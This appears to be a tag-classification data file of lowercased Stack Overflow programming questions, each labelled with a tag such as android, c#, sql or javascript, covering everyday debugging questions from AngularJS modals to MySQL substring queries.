limitations of plist file on iphone  probably a dumb question since plist files is equal to xml but  is it a limit on how long a text inside a  - node can be     i have a dictionary with three keys. each key is associated with a string of maybe...400 characters  this is not a bad way of doing it right     thanks in advance.,iphone
angularjs: passing data through modular window  i am trying to show flash message when deleting record. i can not achieve notice to show up  although i get proper true response if i use console.log after getting response from server.    view:   <pre><code>&lt;p ng-show= offerdeletedsuccess  class= someclass &gt;     some notice &lt;/p&gt;  </code></pre>   general controller:   <pre><code>$scope.offerdeletedsuccess = false;  $scope.open = function(offer) {     var modalinstance = $modal.open({         animation: true          templateurl:  mymodalcontent.html           controller:  modalinstancectrl           resolve: {             offerdeletedsuccess: function() {                 return $scope.offerdeletedsuccess;             }            }     });      modalinstance.result.then(function (selecteditem) {         $scope.selected = selecteditem;     }); }; </code></pre>   modal instance controller:   <pre><code>angular     .module( somemodule )     .controller( modalinstancectrl   function ($http  $scope  $modalinstance  offerdeletedsuccess) {      $scope.ok = function() {         console.log(offerdeletedsuccess); // this returns false          $http.post( /api/offers/delete/  + offer.id).         success(function(data) {             offerdeletedsuccess = true;             console.log(offerdeletedsuccess); // this returns true  expression in html stays false         }).         error(function() {             console.log( api error - config. )         });          $modalinstance.close();     };      $scope.cancel = function () {         $modalinstance.dismiss( cancel );     }; }); </code></pre>,angularjs
android youtube video upload   in android there are final api for uploading video to youtube and any source code like as a facebook integration in android application,android
neither user 10085 nor current process has android.permission.read_phone_state  i have updated target sdk version 27 and i have given permission in <code>manifest</code> of <code>read_phone_state.</code> still my app is crashing on <code>utils.java</code>    <pre><code> deviceid = telephonymgr.getdeviceid();  </code></pre>   on this line and i also ask for run time permission for this still the issue is same   <pre><code>private void requestmultiplepermission() {          // creating string array with permissions.         activitycompat.requestpermissions(loginactivity.this  new string[]                 {                         call_phone                          read_phone_state                 }  requestpermissioncode);      }     public void onrequestpermissionsresult(int requestcode  string permissions[]  int[] grantresults) {         switch (requestcode) {              case requestpermissioncode:                  if (grantresults.length &gt; 0) {                      boolean getcallpermission = grantresults[0] == packagemanager.permission_granted;                     boolean getreadphoneper = grantresults[1] == packagemanager.permission_granted;                      if (getcallpermission &amp;&amp; getreadphoneper) {                          toast.maketext(loginactivity.this   permission granted   toast.length_long).show();                     }                     else {                         ///toast.maketext(login.this  permission granted  toast.length_long).show();                     }                 }                 break;         }     } </code></pre>   here in this line it will crash  deviceid = telephonymgr.getdeviceid();    <pre><code>public static string getuniquedeviceid(context context) {         string deviceid;         // 1 compute imei         final telephonymanager telephonymgr = (telephonymanager) context.getsystemservice(context.telephony_service);         if (activitycompat.checkselfpermission(context  manifest.permission.read_phone_state) != packagemanager.permission_granted) {          }         deviceid = telephonymgr.getdeviceid(); // requires // read_phone_state         if (deviceid == null) {             // 2 android id - unreliable             deviceid = settings.secure.getstring(context.getcontentresolver()  settings.secure.android_id);         }         if (deviceid == null) {             random r = new random();             deviceid = string.valueof((r.nextint() + r.nextint()));         }          e(deviceid);         return deviceid;     } </code></pre>,android
how to print boolean return value  the following two functions produce similar results   <pre><code>def is_between(x  y  z):     return x &lt;= y &lt;= z is_between(1  2  3)  def is_between(x  y  z):     if x &lt;= y &lt;= z:         print(true)         return true     else:         print(false)         return false is_between(1  2  3) </code></pre>   the first function returns a boolean value more efficiently than the second function. the second function  on the other hand  uses conditionals to describe how it would return true and when it would return false  providing us with the opportunity to print each of those possibilities  were they to happen.    is it possible to print or otherwise use the boolean value returned by the first function  i tried print(is_between) but that was incorrect.    <strong>solution:</strong>    <em>this works</em>   <pre><code>def is_between(x  y  z):     return x &lt;= y &lt;= z print(is_between(1 2 3)) </code></pre>   <em>this does not</em>   <pre><code>def is_between(x  y  z):     return x &lt;= y &lt;= z is_between(1 2 3) print(is_between) </code></pre>,python
if statement inside parenthesis changes the value in a vector  i have a following problem.     i have two vectors correct_data_labels.label and data_labels.label   label is the <code>vector&lt;int &gt;</code> whereas data_labels and correct_data_labels are the instance of my class.     i have a method where i have if statement inside it. when i use if statement  the argument that i used inside the parenthesis does an arithmetic and changes the value. as seen in the code below: when i run the code it replaces the value written inside an if statement. so <code>data_labels.label[row]</code> is replaced by <code>correct_data_labels.label[row]</code>   <pre><code>unsigned int num=0; double percentage=0.00;   for(register unsigned int row=0;row&lt;data_labels.label.size();row++)  {      if((data_labels.label[row]=correct_data_labels.label[row]))      {          num=num+1;      }  }   percentage = (num/data_labels.label.size()); </code></pre>   this code is written in c++  i suppose other programming paradigms can answer the above query too.,c++
how can i disable an element s context menu without disable the contextmenu for the entire document   i have this code to disable context menu on a <code>div</code>   <pre><code>    disablecontextmenu = function (e){          if(e.stoppropagation)             e.stoppropagation();         if(e.preventdefault)             e.preventdefault();         e.cancelbubble = true;         return false;     };     clickedelement.oncontextmenu = disablecontextmenu;     if(clickedelement.addeventlistener){         clickedelement.addeventlistener( contextmenu   disablecontextmenu  false);     }else if(clickedelement.attachevent){         clickedelement.attachevent( oncontextmenu   disablecontextmenu);     } </code></pre>   this works as expect. but when i add a mouseup handler  the context menu comes up again.   <pre><code>        clickedelement.onmousedown = function (e){         if(e.which == 3){             if(e.stoppropagation)                 e.stoppropagation();             if(e.preventdefault)                 e.preventdefault();             elementtoshow.style.position =  absolute ;             elementtoshow.style.left = e.pagex +  px ;             elementtoshow.style.top = e.pagey +  px ;             elementtoshow.style.display =  block ;             return false;         }     } </code></pre>   this does not work in my ie9. i used document instead and it works  but i don t want to disable the context menus for the textboxes and other elements. how can i do that     do not suggest me not to use this. it is a project for client and this is a requirement.,javascript
system.windows.forms.timer - nullreferenceexception  is there any explanation to nullreference exception  that occured at one machine today. i cannot reproduce it at my computer....   <pre><code>class test {   timer timer_;   public void init()   {     timer_ = new timer();     timer_.interval = 10000;     timer_.tick += ontimertick;     timer_.start();   }    private void ontimertick(object sender  eventargs e)   {     timer_.stop();     timer_ = null; &lt;--- null ref occurs   } } </code></pre>   solution based on awesome advices of mark hall and rich okelly   <pre><code>private void ontimertick(object sender  eventargs e) {     var localtimer = interlocked.exchange(ref timer_  null);     if (localtimer != null)     {         localtimer.stop();         localtimer.tick -= ontimertick;         localtimer.dispose();          // doing staff     } } </code></pre>,c#
saving and retrieving images from database  i have created a file of images in dbbrowser and now i want to save images in that and then retrieve it. here is my code-   <pre><code>-(void)savelistimages {     if(sqlite3_open([[[[nsbundle mainbundle] resourcepath] stringbyappendingpathcomponent:image] utf8string]  &amp;database) == sqlite_ok) {         nsstring *query = [nsstring stringwithformat:@ select * from image where id=%i ];         //nslog(@ ;query = \n%@ ;  query);         sqlite3_stmt *statement;         if (sqlite3_prepare_v2(database  [query utf8string]  -1  &amp;statement  nil) == sqlite_ok) {             while (sqlite3_step(statement) == sqlite_row) {                 if (sqlite3_column_blob(statement  0) != null) {                     //nslog(@ ;read a non null image );                     nsdata *data = [[nsdata alloc] initwithbytes:sqlite3_column_blob(statement  0) length:sqlite3_column_bytes(statement  0)];                     imageview.image = [uiimage imagewithdata:data];                  }                 else {                     nslog(@ ;read a null image );                 }             }             sqlite3_finalize(statement);         }     }     sqlite3_close(database); } </code></pre>,objective-c
how the output is calculated   i m confused in this program how the value of x=320 ...   <pre><code>#include&lt;stdio.h&gt;  int a=5; int main(){     int x;     x=~a+a&amp;a+a&lt;&lt;a;     printf( %d  x);     return 0; } </code></pre>   <a href= http://codepad.org/ubgkwdyl  rel= nofollow >http://codepad.org/ubgkwdyl</a>    hoping for quick and positive response..,c
dictionary(tkey  tvalue) gethashcode and equals - how do they work   you would think that if two dictionaries contained the same keys and values they would return the same hash code and be equal right  but they don t - what am i doing wrong  or how do i compare dictionaries in this way     thanks. code sameple below    /in this case i also want to test the order is the same/equal.   <pre><code>     sorteddictionary&lt;int string&gt; sd1 = new sorteddictionary&lt;int string&gt;();         sd1.add(1  one );         sd1.add(2   two );         sd1.add(5   five );         int sd1hash = sd1.gethashcode();          sorteddictionary&lt;int  string&gt; sd2 = new sorteddictionary&lt;int  string&gt;();         sd2.add(1   one );         sd2.add(2   two );         sd2.add(5   five );         int sd2hash = sd2.gethashcode();          //this is false         bool areequal = sd1.equals(sd2); </code></pre>,c#
how to open different contents in the different pop up window <pre><code>&lt;html&gt;     &lt;script type= text/javascript &gt;      function openwin(url) {             window.open(url   _blank    toolbar=no  scrollbars=no  resizable=no  top=200  left=300  width=870  height=650 );         }         &lt;/script&gt;           &lt;a href =  javascript:openwin( c.html ) &gt;content 2&lt;/a&gt;         &lt;a href =  javascript:openwin( b.html ) &gt;content 3&lt;/a&gt;     &lt;/html&gt;` </code></pre>   this is my code to open to javascript popup. but when i click content 2 only one popup should open ` but here instead multiple popups are opening. and also parallely content 3 window should open in a diff window.,html
how to find factorial of 25 in javascript  **when i used   <pre><code>function processdata(input) {`console.log(fact(input));`}  function fact(input) { if(input == 1 || input ==0) { return input; } else { return input * fact(input -1 ); } </code></pre>   i get output is: 1.5511210043330986e+25    but i need : 1551121004333098<strong>5984000000</strong>    what i do for this output. i am not able to include any library because it was online test and i don t have permission to add libraries.,javascript
can you say some real-life examples of interface and abstract class   i am little confusing to understanding the real-life examples of interface and abstract class in c#   <ol> <li>interface </li> <li>abstract class</li> </ol>,c#
is there a way for a parent view to detect events on a child view   i ve got a view that contains a number of child views and i want the parent view to be able to respond to events that happen to its children  without a lot of manual relaying of events from the children.     specifically  suppose i want the parent to be notified any time the user taps on any of its subviews  but also without interfering with the default action of the subview.  for instance  if you tap on a uitextview  i want the text view to become the first responder as usual  i just want to know about it.    how can i do this,ios
jquery .not() is executing even though it shouldnt  here is my fiddle code:<br> <a href= http://jsfiddle.net/k0za95nw/2/  rel= nofollow >http://jsfiddle.net/k0za95nw/2/</a>    basically if <strong> #original_items li </strong> has a class name of  <strong>aa</strong>  i want it to skip this <code>&lt;li&gt;</code> and go to the next <code>&lt;li&gt;</code>.    <pre><code>       if (jquery( #original_items li ).not( .aa ))      { // (does not have a classname of .aa  run code here) // but unfortunately code here is running even if the li has a classname of aa  } </code></pre>,jquery
iphone uitextview did end on exit properties   why is it that there is no did end on exit property for a uitextview   how do you resignfirstresponder to lower the keyboard when the user clicks the  done  button   a uitextfield usually works by just linking  did end on exit  from uibuilder but uitextview doesn t have that option.,iphone
while accepting socket connection <pre><code>unsigned __int8 decrypt(unsigned __int8 data[]);  for(;;)     {         if((sconnect=accept(slisten (sockaddr*)&amp;addr &amp;addrlen)) != invalid_socket)         {             print( socket connected successfully! );             char buf[4095];             recv(slisten buf sizeof(buf) 0);             decrypt(buf); // error:intellisense: argument of type  char *  is incompatible with parameter of type  unsigned char *           } </code></pre>   how can i fix this prob :-s,c++
group by one column and substring of its own  unable to write a sql for my problem. i have a table with 2 columns item code and expiration date.   <pre><code>itemcode.       expiration abc123.         2014-08-08 abc234.         2014-07-07 cfg345.         2014-06-06 cfg567.         2014-07-08 </code></pre>   the output should be based on first 3 digits of item code and minimum expirarion date like below   <pre><code>abc.     2014-07-07.    abc234 cfg.     2014-06-06.    cfg345 </code></pre>   thanks    edited: the query goes like this which actually is joining multiple tables to fetch the itemcode and expiration.     select      substr(y.itemcode 1 3)                                 min(x.expiration_date) expiry                                 y.itemcode<br>                               from x x  y y                               where y.id = x.id   <pre><code>                          and x.number  in                                (select number from xyz                                  where id = x.id                                 and codec in ( c    m    t    h )                                 )                                  group by substr(y.itemcode 1 3)  y.itemcode </code></pre>,sql
html table fixed height   i have a table which shows records from db dynamically. i just need to fix the height of the table  so that the table gets a scrolling window downwards within the table itself if it has large number of rows. this is so the user wont need to scroll the entire page      is this possible...     thanks in advance...,html
mysql index adding  we have 50 tables in our mysql database. queries are taking time as many of the tables have more than 15k records.    i know adding indexes increases the query performance  my query is  on adding indexes on existing tables will have any harm to existing users     please share your thoughts.    thanks.,mysql
"html table not displaying second column input field  here is a sample code i got from my textbook and for some reason it s not displaying correctly. i just can t find the error.    it only show the second input text field  surname  and not the first input text  first name   also.    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;html&gt;
 &lt;head&gt;&lt;title&gt;holiday program&lt;/title&gt;&lt;/head&gt;
 &lt;body style= background-color:cyan &gt;
 &lt;form action= holidaychoice.jsp &gt; &lt;!--also try this with method= post --&gt;
 &lt;center&gt;
 &lt;table style= background-color:lightblue”&gt;
 &lt;tr&gt;
 &lt;td&gt;first name&lt;input type= text  name= clientfirstname &gt;&lt;/td&gt;
 &lt;td&gt;surname&lt;input type= text  name= clientsurname &gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;location :&lt;br/&gt;
 &lt;input type= radio  name= location  value= ocean 
 checked=”true”&gt;ocean&lt;br/&gt;
 &lt;input type= radio  name= location  value= lake &gt;lake&lt;br/&gt;
 &lt;input type= radio  name= location  value= nature &gt;
 nature reserve&lt;br/&gt;
 &lt;input type= radio  name= location  value= casino &gt;casino&lt;br/&gt;
 &lt;/td&gt;
 &lt;td&gt;accommodation type :&lt;br/&gt;
 &lt;input type= checkbox  name= hotel  value= 1 &gt;hotel&lt;br/&gt;
 &lt;input type= checkbox  name= camping  value= 1 &gt;camping&lt;br/&gt;
 &lt;input type= checkbox  name= caravan  value= 1 &gt;caravan&lt;br/&gt;
 &lt;input type= checkbox  name= bungalow  value= 1 &gt;bungalow
 &lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td colspan= 2 &gt;
 &lt;center&gt;
 &lt;input type= submit  value= submit &gt;
 &lt;input type= reset  value= reset &gt;
 &lt;/center&gt;
 &lt;/td&gt;
 &lt;/tr&gt;
 &lt;/table&gt;
 &lt;/center&gt;
 &lt;/form&gt;
 &lt;/body&gt;
 &lt;/html&gt;</code></pre>
 </div>
 </div>",html
is this breadth first or depth first   from javascript the good parts ( modified ) :    <pre><code>var walk_the_dom = function walk(node  func) {     func(node);     node = node.firstchild;     while(node) {         walk(node  func);         node = node.nextsibling;     } } </code></pre>   i m having a difficult time analyzing this.  the dom calls are simple enough.    it appears to be depth first as <code>walk()</code> will be repeatedly called for each level of depth.    if it is indeed depth first  what style of depth first is it - pre-order  in-order  or post-order     here is the wikipedia on <a href= http://en.wikipedia.org/wiki/tree_traversal  rel= nofollow >tree traversal</a>.,javascript
algorithm for unique key generation  i need to generate unique values by using ipv4 and ipv6 addresses i.e if i input 192.37.4.60; a unique key should be generated and when i enter 192.60.4.37 a another key should be generated. how can i do this can any one help me out and i can also input ipv6 address also how to generate unique values to each input. can any one propse any algorithm or any present algorithm,c
where to find the soure code of android settingsappwidgetprovider.java  <pre><code>private void togglegps() {         intent gpsintent = new intent();         gpsintent.setclassname( com.android.settings                    com.android.settings.widget.settingsappwidgetprovider );         gpsintent.addcategory( android.intent.category.alternative );         gpsintent.setdata(uri.parse( custom:3 ));         try {             pendingintent.getbroadcast(this  0  gpsintent  0).send();             // this.sendbroadcast(gpsintent);         } catch (canceledexception e) {             e.printstacktrace();         }     } </code></pre>   hi  please check above code which intends to toggle android phone s gps. but it seems not work on my galaxy s3. could anyone points out what is wrong with it     the second question is that someone tries to analyse the source code of settingsappwidgetprovider.java. but i cannot find where it is  does anyone know     thanks!,android
why its dangerous to use pass by value when function parameter expects an abstract class object   i read below statements in addison wesley faqs.   <blockquote>    beware: passing objects by value can   be dangerous in some situations. often   it is  better to pass objects by   reference-to-const than to pass them   by value. for example   pass-by-value   won t work if the destination type is   an abstract base class and can  result   in erroneous behavior at runtime if   the parameter s class has derived   classes.  however if the class of the   parameter is guaranteed not to have   derived classes  and if  the function   being called needs a local copy to   work with  pass-by-value can be   useful.  </blockquote>   how it can be erroneous behavior at runtime if destination type is an abstract class and if the parameter s class has derived class   does copy constructor solve this problem   if so  how   thank you.    edit: so  should the statement above be <strong> erroneous behavior at compile time </strong>   not  runtime  .,c++
how to represent month as corresponding numbers instead of month name in datepicker   <em>how to   represent month as corresponding numbers instead of month name in datepicker</em>,iphone
remove an entry out of a std::list while iterator  i am trying to remove elements in a list when a condition is met in a <code>std::list</code>. what i have read in the reference about the return value of the <code>erase</code> function:   <blockquote>    an iterator pointing to the element that followed the last element   erased by the function call. this is the container end if the   operation erased the last element in the sequence.        member type iterator is a bidirectional iterator type that points to   elements.  </blockquote>   i have put this example together:   <pre><code>#include &lt;string&gt; #include &lt;list&gt; #include &lt;iostream&gt;  int main() {         typedef std::list&lt;std::string&gt; string_list_t;         string_list_t list;         list.push_back( test1 );         list.push_back( test2 );         list.push_back( test3 );         list.push_back( test4 );         list.push_back( test5 );         list.push_back( test6 );         list.push_back( test7 );         list.push_back( test8 );          for (string_list_t::iterator it = list.begin(); it != list.end(); ++it)         {                 std::string &amp;str = *it;                 std::cout &lt;&lt;  checking   &lt;&lt; str &lt;&lt;  ...  &lt;&lt; std::endl;                 if (str ==  test4 )                 {                         std::cout &lt;&lt;  found test4!  &lt;&lt; std::endl;                 }                 else                 {                         it = list.erase(it);                 }         }       return 0; } </code></pre>   it does not give me the expected output  instead it gives me:   <pre><code>checking test1... checking test3... checking test5... checking test7... </code></pre>   can someone help me figuring out what i understood wrong  somehow it skips every second element...,c++
no method error in users#edit  i am learning ruby on rails. i want to make editable users account.    i have an error in localhost:   <pre><code>undefined method `model_name  for nilclass:class </code></pre>   this is my edit.html.erb file:   <pre><code>&lt;h1&gt;edit user&lt;/h1&gt; &lt;%= form_for(@user) do |f| %&gt;   &lt;%= render  shared/error_messages   :object =&gt; f.object %&gt; &lt;div class= field &gt;   &lt;%= f.label :name %&gt;&lt;br /&gt;   &lt;%= f.text_field :name %&gt; &lt;/div&gt; &lt;div class= field &gt;   &lt;%= f.label :email %&gt;&lt;br /&gt;   &lt;%= f.text_field :email %&gt; &lt;/div&gt; &lt;div class= field &gt;   &lt;%= f.label :password %&gt;&lt;br /&gt;   &lt;%= f.password_field :password %&gt; &lt;/div&gt; &lt;div class= field &gt;   &lt;%= f.label :password_confirmation   confirmation  %&gt;&lt;br /&gt;   &lt;%= f.password_field :password_confirmation %&gt; &lt;/div&gt;  &lt;div class= actions &gt;     &lt;%= f.submit  update  %&gt;   &lt;/div&gt; &lt;% end %&gt; &lt;div&gt;   &lt;%= gravatar_for @user %&gt;   &lt;a href= http://gravatar.com/emails &gt;change&lt;/a&gt; &lt;/div&gt; </code></pre>   can you provide a solution,ruby-on-rails
making div appear and disappear when scrolling  i am trying to make a div appear and disappear at the top of the window. this is what i ve got so far: <a href= http://jsfiddle.net/jdf1xt2t/4/  rel= nofollow >jsfiddle</a>    <pre><code>&lt;script&gt; $(document).ready( function() {     $( #div_to_show ).hide(); //hide your div initially     $(window).scroll(function() {         // once top of div is scrolled past         if($( body ).scrolltop() &gt;= $( #div_to_scroll_past ).offset().top) {             console.log( past top );             $( #div_to_show ).hide(); //reached the desired point -- show div         }     }); });  $(document).ready( function() {     $( #div_to_show ).hide(); //hide your div initially     $(window).scroll(function() {         // once bottom of div is scrolled past         if($( body ).scrolltop() &gt;= ( $( #div_to_scroll_past ).offset().top + $( #div_to_scroll_past ).outerheight() )) {             console.log( past bottom );             $( #div_to_show ).show(); //reached the desired point -- show div         }     }); });     &lt;/script&gt; </code></pre>   it works here if you don t scroll to fast. scroll up too fast and the div that first appeared doesn t disappear again. how can this be solved     another (big) problem is: it s working in jsfiddle but not in my webpage. (     ) the div to be shown is correctly initially being hidden but does not appear when scrolling down.    eddy,jquery
how can i randomize images without repeat in a highslide gallery   so far i ve done an amazing job at integrating randomization with my highslide gallery. but now i m trying to make it so that they don t repeat. any suggestions  i ve looked at several other posts  but can t seem to apply it to my code correctly. i m still learning; you ll have to forgive me.    here s my head code (javascript):   <pre><code>var gallery = new array(); gallery[0] = new array( earlywork001.jpg   earlywork002.jpg   earlywork003.jpg );  function pickimagefrom(whichgallery) { var idx = math.floor(math.random() * gallery[whichgallery].length); document.write( &lt;a href= images/earlywork/  + gallery[whichgallery][idx] +    class= highslide  onclick= return hs.expand(this  config1 ) &gt;&lt;img src= images/earlywork/  + gallery[whichgallery][idx] +    width= 140  height= 140 &gt;&lt;/a&gt; ); } </code></pre>   here s my body code (i only put 3 to make it simple  but i actually have 50 images):   <pre><code>&lt;div class= highslide-gallery &gt;&lt;script language= javascript &gt;pickimagefrom(0);&lt;/script&gt;     &lt;span class= highslide-heading &gt;&lt;i&gt;copyright © 2012 kd neeley&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;  &lt;div class= highslide-gallery &gt;&lt;script language= javascript &gt;pickimagefrom(0);&lt;/script&gt;     &lt;span class= highslide-heading &gt;&lt;i&gt;copyright © 2012 kd neeley&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;  &lt;div class= highslide-gallery &gt;&lt;script language= javascript &gt;pickimagefrom(0);&lt;/script&gt;     &lt;span class= highslide-heading &gt;&lt;i&gt;copyright © 2012 kd neeley&lt;/i&gt;&lt;/span&gt;&lt;/div&gt; </code></pre>,javascript
how can i combine the locate() and substr() functions in mysql to create a new column   i have a database table with following layout  containing 100.000 entries:   <pre><code>id | url  1  | http://www.foo.com/zedfe.htm 2  | www.foo.com/tezqz.htm q=eee 3  | foo.com/zeefg.htm 4  | http://www.foo.com/lkeio etc. </code></pre>   i now want to have a third column with the 5-character code of every url  but as you see not every url is formatted in the same way. in php  i would do it like this:    <pre><code>$id = substr($url  strpos($url  foo.com/ ) + 8  5); </code></pre>   can this be done in mysql  using the locate() and substr() functions,mysql
randomize the lines of a richtextbox  well  i ve been trying to randomize the lines of my richtextbox  and it s starting to bug me now as i m using the random but it s not working... when i use this it ll repeat some lines multiple times  and not include some at all...    i ve looked at: <a href= https://stackoverflow.com/questions/9744420/richtextbox-sorting-lines-randomly >richtextbox - sorting lines randomly</a>    but it didn t help me at all.   <pre><code>richtextbox rtb = new richtextbox();     random r = new random(); int y; rtb.text =   ; for (int i = 0; i &lt; richtextbox1.lines.length; i++) {    y = r.next(0  richtextbox1.lines.length);    rtb.text = rtb.text + richtextbox1.lines[y].tostring() +  \r\n ; } richtextbox2.text = rtb.text; </code></pre>   for example if i input     <blockquote>    lorem ipsum dolor sit amet  consectetur adipiscing elit. nam in   aliquam enim. proin at lacus magna.  nam bibendum  augue non semper   fringilla  ante est interdum ipsum  a egestas urna dolor vel risus.    phasellus eget dui non augue pretium ullamcorper at ac tellus.  sed   mattis risus sit amet metus dictum egestas. phasellus tempus blandit   enim  ac congue urna bibendum sed.  sed iaculis pulvinar dui vel   tristique. etiam justo metus  consequat in pellentesque eu  eleifend   id nunc.  </blockquote>   it gives me    <blockquote>    sed mattis risus sit amet metus dictum egestas. phasellus tempus   blandit enim  ac congue urna bibendum sed.  nam bibendum  augue non   semper fringilla  ante est interdum ipsum  a egestas urna dolor vel   risus.  sed mattis risus sit amet metus dictum egestas. phasellus   tempus blandit enim  ac congue urna bibendum sed.  sed iaculis   pulvinar dui vel tristique. etiam justo metus  consequat in   pellentesque eu  eleifend id nunc. lorem ipsum dolor sit amet    consectetur adipiscing elit. nam in aliquam enim. proin at lacus   magna.  </blockquote>   where one line is repeated  and one missed out... with longer text it occurs more often.    i haven t been doing c# too long  so sorry if this is simple. :/,c#
how to load an .epub into iphone programatically  how do i load an .epub extension file on to iphone through programming,iphone
async pages and handlers  what is the  main benefit of async pages and handlers  is it that you offload load to a separate thread   it s not that the user can do other things while the page processes - right,asp.net
:last-of-type when type is wrapped by another element  lets say i have 3 fieldsets and i want 30px margin under all of them except the last fieldset.   <pre><code>.wrapper fieldset {   margin-bottom: 30px; }  .wrapper fieldset:last-of-type {   margin-bottom: 0; }  &lt;div class= wrapper &gt;   &lt;fieldset&gt;...&lt;/fieldset&gt;   &lt;fieldset&gt;...&lt;/fieldset&gt;   &lt;fieldset&gt;...&lt;/fieldset&gt; &lt;/div&gt; </code></pre>   that s ok  but now what if my fieldsets are wrapped in an arbitrary element eg:   <pre><code>&lt;div class= wrapper &gt;   &lt;any&gt;     &lt;fieldset&gt;...&lt;/fieldset&gt;   &lt;/any&gt;    &lt;any&gt;     &lt;fieldset&gt;...&lt;/fieldset&gt;     &lt;fieldset&gt;...&lt;/fieldset&gt;   &lt;/any&gt; &lt;/div&gt; </code></pre>   now i have no margin on the first fieldset. i know why this happens  but i don t know a solution. any help would be appreciated  cheers.,css
can plist files be used for holding large data such as image data etc  i want to use plist files to hold large data such as image data and other texts. is this feasible or is it that plist are for holding small string such as needed for settings etc. will there be any memory issues.    -- regards     u suf,iphone
how to solve memory leaks in avaudioplayer-iphonesdk  how to solve memory leaks in avaudioplayer-iphonesdk. here. i will give the my code.. memory leaks are in my code  how to solve it..    .h file    <pre><code>avaudioplayer *titlescreenaud; </code></pre>   .m file   <pre><code>titlescreenaud=[[avaudioplayer alloc]initwithcontentsofurl:[nsurl   fileurlwithpath:[[nsbundle mainbundle] pathforresource:@ titlescreen_bgmaudio  oftype:@ mp3 ]] error:null];//***memory leaks on here......***    titlescreenaud.numberofloops=-1; [titlescreenaud play]; </code></pre>   after finish the sound   <pre><code>       -(void)finish         {         [titlescreenaud stop];         [titlescreenaud release];         titlescreenaud=nil;         } </code></pre>   how to release the avaudioplayer please help me.......,iphone
configuring socialauthnet  i am trying to configure socialauthnet to be able to extract profile data from linkedin. i am trying to get started using the quickstart_guide provided by socialauthnet themselves  which can be found at:     <a href= https://code.google.com/p/socialauthnet/wiki/quickstart_guide#create_a_new_web_application  rel= nofollow >quickstart guide</a>    i have followed all of the steps provided. however  i am receiving this error:   <blockquote>    http error 404.0 - not found the resource you are looking for has been   removed  had its name changed  or is temporarily unavailable.  </blockquote>   does anyone have a solution for my problem     thanks,.net
convert string to model in rails rake task  i m trying to run a quick rake task on all my rails models but haven t been able to call them because this piece of code tells me that i can t call the method <code>columns</code> on a string.    i tried <code>classify</code> instead of <code>camelize</code> and it hasn t worked either  tried inserting a <code>class_eval</code> in there as well  but that dosen t seem to work here / don t know too much about it.   <pre><code>task :collect_models_and_field_names =&gt; :environment do  models = dir.glob( #{models_path}/* ).map do |m|   m.capitalize.camelize.columns.each { |n| puts n.name } end </code></pre>   i do know that this worked so i would have manual access to the model if i needed  but i don t really want to do that...   <pre><code>  model.columns.each { |c| puts c.name } </code></pre>,ruby-on-rails
dynamic control names in c#  i m trying the following code:   <pre><code>for (int i = 0; i &lt; students.length; i++) {      student  + i.tostring().text = students[i]; } </code></pre>   i already have many labels which each one has name like: student1 student2 student3 . .    but i got this error: error   1    string  does not contain a definition for  text  and no extension method  text  accepting a first argument of type  string  could be found (are you missing a using directive or an assembly reference )   f:\homework\homework\form1.cs   161 46  homework    any help please  !,c#
consultation and deliberation with select and distinct query  i have this table:   <pre><code>scount  |  name  |  flag =========================  1         | aaa     |  y  1         | bbb     |  n  1         | bbb     |  y  1         | ccc     |  n </code></pre>   i need to count the same name and if there is n or f on flag  i need to show only y    the table will looks like this:   <pre><code>scount  |  name  |  flag =========================  1         | aaa     |  y  2         | bbb     |  y  1         | ccc     |  n </code></pre>   thanks for any help,sql
how to bind image that is saved in filestream database sql server 2008 to a image control  i have used filestream of sql server 2008 for storing images. i want to retrive that image and bind to image control.but not getting the correct path. please help.,asp.net
why the following code results in error   it works for <code>employee</code> and <code>calculate_wage</code>  but returns an error when i try to create an instance of <code>parttimeemployee</code> and call to the <code>calculate_wage</code> method of <code>parttimeemployee</code> s parent class.   <pre><code>class employee(object):         models real-life employees!         def __init__(self  employee_name):          self.employee_name = employee_name       def calculate_wage(self  hours):          self.hours = hours          return hours * 20.00   class parttimeemployee(employee):      def __init__(self  employee_name):          self.employee_name = employee_name      def calculate_wage(self  hours):          self.hours = hours          return hours * 12.00      def full_time_wage(self  hours):          return super(parttimeemployee  self).calculate_wage(self  hours)   milton = parttimeemployee( milton )  print (milton.full_time_wage(10)) </code></pre>,python
mysql left join query with max value in where state  ok so i have a database and a query built up something like this    <a href= http://sqlfiddle.com/#!2/c03e8/11  rel= nofollow >http://sqlfiddle.com/#!2/c03e8/11</a>    however i can t for the world of me figure out how to reach my end goal which is to hide the tenth row as that one has the <code> tamed  = 1</code>    would anyone please point me in the right direction,mysql
if else php need explanation  i write a code in <strong>php</strong> and i found that there is a problem in a code like this :   <pre><code>&lt; php if(isset($_get[ f ])) {  &gt;     &lt; php if($_get[ f ]== message_reçus ) {  &gt;         -- another code here --     &lt; php }  &gt; &lt; php }  &gt;   &lt; php else {  &gt; </code></pre>   but when i just write it this way :   <pre><code>&lt; php if(isset($_get[ f ])) {  &gt;     &lt; php if($_get[ f ]== message_reçus ) {  &gt;         -- another code here --     &lt; php }  &gt;   &lt; php } else {  &gt; </code></pre>   it works.    i need a clear explanation about what caused the problem in the first version because i still convinced that both version are syntactically right!    php parser shows me : parse error: syntax error  unexpected  else  (t_else)    i don t need any alternative solution i just wonder to know why there is a problem in the first version and what s wrong with it!,php
nilclass definitions  i am tired of trapping for nil when looking for a dependent record when <em>most</em> of the time a return of 0 will do nicely.  what sort of trouble am i creating for myself by adding  id  to the nilclass thus   <pre><code>class nilclass   def id     0   end end </code></pre>   what might the unintended consequences be  i know about exists ()  but somehow thought this might be cleaner.    your thoughts,ruby-on-rails
sql update statement selfjoin <pre><code>gid rid cid priorityid  1   7   11  null 1   7   12  null 1   8   13  null 1   9   25  null 1   13  18  null 1   13  19  null 1   14  23  null 1   14  24  null </code></pre>   i need to set the priorityid to the following. can anyone suggest an sql update statement.   i think i would need a group by rid and gid or self join   <pre><code>gid rid cid priorityid  1   7   11  1 1   7   12  2 1   8   13  1 1   9   25  1 1   13  18  1 1   13  19  2 1   14  23  1 1   14  24  2 </code></pre>   thank you,sql
